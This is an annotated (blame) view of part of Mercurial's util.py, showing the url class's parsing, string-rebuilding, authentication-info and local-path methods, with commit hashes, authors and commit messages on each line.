url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3088 if not self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3089 self.host = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3090 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3091 # Don't split on colons in IPv6 addresses without ports |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3092 if ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3093 self.host |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3094 and b':' in self.host |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3095 and not ( |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3096 self.host.startswith(b'[') and self.host.endswith(b']') |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3097 ) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3098 ): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3099 self._hostport = self.host |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3100 self.host, self.port = self.host.rsplit(b':', 1) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3101 if not self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3102 self.host = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3103 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3104 if ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3105 self.host |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3106 and self.scheme == b'file' |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3107 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3108 ): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3109 raise error.Abort( |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3110 _(b'file:// URLs can only refer to localhost') |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3111 ) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3112 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3113 self.path = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3114 |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3115 # leave the query string escaped |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3116 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3117 v = getattr(self, a) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3118 if v is not None: |
31567
4ebecf331d7d
util: use urlreq.unquote
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31541
diff
changeset
|
3119 setattr(self, a, urlreq.unquote(v)) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3120 |
34072
30535fe47e78
py3: fix repr(util.url) to return system string
Yuya Nishihara <yuya@tcha.org>
parents:
34052
diff
changeset
|
3121 @encoding.strmethod |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3122 def __repr__(self): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3123 attrs = [] |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3124 for a in ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3125 b'scheme', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3126 b'user', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3127 b'passwd', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3128 b'host', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3129 b'port', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3130 b'path', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3131 b'query', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3132 b'fragment', |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3133 ): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3134 v = getattr(self, a) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3135 if v is not None: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3136 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3137 return b'<url %s>' % b', '.join(attrs) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3138 |
33022
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
3139 def __bytes__(self): |
14147
617483af1cc0
test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents:
14146
diff
changeset
|
3140 r"""Join the URL's components back into a URL string. |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3141 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3142 Examples: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3143 |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3144 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
15452
de7e2fba4326
util: don't encode ':' in url paths
Mads Kiilerich <mads@kiilerich.com>
parents:
15392
diff
changeset
|
3145 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3146 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3147 'http://user:pw@host:80/?foo=bar&baz=42' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3148 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3149 'http://user:pw@host:80/?foo=bar%3dbaz' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3150 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3151 'ssh://user:pw@[::1]:2200//home/joe#' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3152 >>> bytes(url(b'http://localhost:80//')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3153 'http://localhost:80//' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3154 >>> bytes(url(b'http://localhost:80/')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3155 'http://localhost:80/' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3156 >>> bytes(url(b'http://localhost:80')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3157 'http://localhost:80/' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3158 >>> bytes(url(b'bundle:foo')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3159 'bundle:foo' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3160 >>> bytes(url(b'bundle://../foo')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3161 'bundle:../foo' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3162 >>> bytes(url(b'path')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3163 'path' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3164 >>> bytes(url(b'file:///tmp/foo/bar')) |
14313
a389dd285282
util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents:
14271
diff
changeset
|
3165 'file:///tmp/foo/bar' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3166 >>> bytes(url(b'file:///c:/tmp/foo/bar')) |
15611 | 3167 'file:///c:/tmp/foo/bar' |
34137
a8994d08e4a2
doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents:
34134
diff
changeset
|
3168 >>> print(url(br'bundle:foo\bar')) |
14147
617483af1cc0
test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents:
14146
diff
changeset
|
3169 bundle:foo\bar |
34137
a8994d08e4a2
doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents:
34134
diff
changeset
|
3170 >>> print(url(br'file:///D:\data\hg')) |
20106
c33d9217e99d
util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents:
20000
diff
changeset
|
3171 file:///D:\data\hg |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3172 """ |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3173 if self._localpath: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3174 s = self.path |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3175 if self.scheme == b'bundle': |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3176 s = b'bundle:' + s |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3177 if self.fragment: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3178 s += b'#' + self.fragment |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3179 return s |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3180 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3181 s = self.scheme + b':' |
14313
a389dd285282
util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents:
14271
diff
changeset
|
3182 if self.user or self.passwd or self.host: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3183 s += b'//' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3184 elif self.scheme and ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3185 not self.path |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3186 or self.path.startswith(b'/') |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3187 or hasdriveletter(self.path) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3188 ): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3189 s += b'//' |
15609
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
3190 if hasdriveletter(self.path): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3191 s += b'/' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3192 if self.user: |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
3193 s += urlreq.quote(self.user, safe=self._safechars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3194 if self.passwd: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3195 s += b':' + urlreq.quote(self.passwd, safe=self._safechars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3196 if self.user or self.passwd: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3197 s += b'@' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3198 if self.host: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3199 if not (self.host.startswith(b'[') and self.host.endswith(b']')): |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
3200 s += urlreq.quote(self.host) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3201 else: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3202 s += self.host |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3203 if self.port: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3204 s += b':' + urlreq.quote(self.port) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3205 if self.host: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3206 s += b'/' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3207 if self.path: |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3208 # TODO: similar to the query string, we should not unescape the |
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3209 # path when we store it, the path might contain '%2f' = '/', |
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3210 # which we should *not* escape. |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
3211 s += urlreq.quote(self.path, safe=self._safepchars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3212 if self.query: |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3213 # we store the query in escaped form. |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3214 s += b'?' + self.query |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3215 if self.fragment is not None: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3216 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3217 return s |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3218 |
33022
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
3219 __str__ = encoding.strmethod(__bytes__) |
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
3220 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3221 def authinfo(self): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3222 user, passwd = self.user, self.passwd |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3223 try: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3224 self.user, self.passwd = None, None |
31841
9ff5a124d111
py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31811
diff
changeset
|
3225 s = bytes(self) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3226 finally: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3227 self.user, self.passwd = user, passwd |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3228 if not self.user: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3229 return (s, None) |
15028
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
3230 # authinfo[1] is passed to urllib2 password manager, and its |
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
3231 # URIs must not contain credentials. The host is passed in the |
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
3232 # URIs list because Python < 2.4.3 uses only that to search for |
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
3233 # a password. |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3234 return (s, (None, (s, self.host), self.user, self.passwd or b'')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3235 |
14766
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3236 def isabs(self): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3237 if self.scheme and self.scheme != b'file': |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3238 return True # remote URL |
14766
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3239 if hasdriveletter(self.path): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3240 return True # absolute for our purposes - can't be joined() |
33096
d9962854a4a2
py3: add b'' to make the regex pattern bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
33094
diff
changeset
|
3241 if self.path.startswith(br'\\'): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3242 return True # Windows UNC path |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3243 if self.path.startswith(b'/'): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3244 return True # POSIX-style |
14766
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3245 return False |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3246 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3247 def localpath(self): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3248 if self.scheme == b'file' or self.scheme == b'bundle': |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3249 path = self.path or b'/' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3250 # For Windows, we need to promote hosts containing drive |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3251 # letters to paths with drive letters. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3252 if hasdriveletter(self._hostport): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3253 path = self._hostport + b'/' + self.path |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3254 elif ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3255 self.host is not None and self.path and not hasdriveletter(path) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3256 ): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3257 path = b'/' + path |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3258 return path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3259 return self._origpath |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3260 |
20353
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
3261 def islocal(self): |
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
3262 '''whether localpath will return something that posixfile can open''' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3263 return ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3264 not self.scheme |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3265 or self.scheme == b'file' |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3266 or self.scheme == b'bundle' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3267 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3268 |
20353
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
3269 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3270 def hasscheme(path): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3271 return bool(url(path).scheme) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3272 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3273 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3274 def hasdriveletter(path): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
